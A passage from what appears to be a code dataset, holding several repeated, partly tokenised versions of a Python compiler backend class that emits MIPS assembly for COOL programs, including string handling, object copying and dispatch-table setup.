$a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in 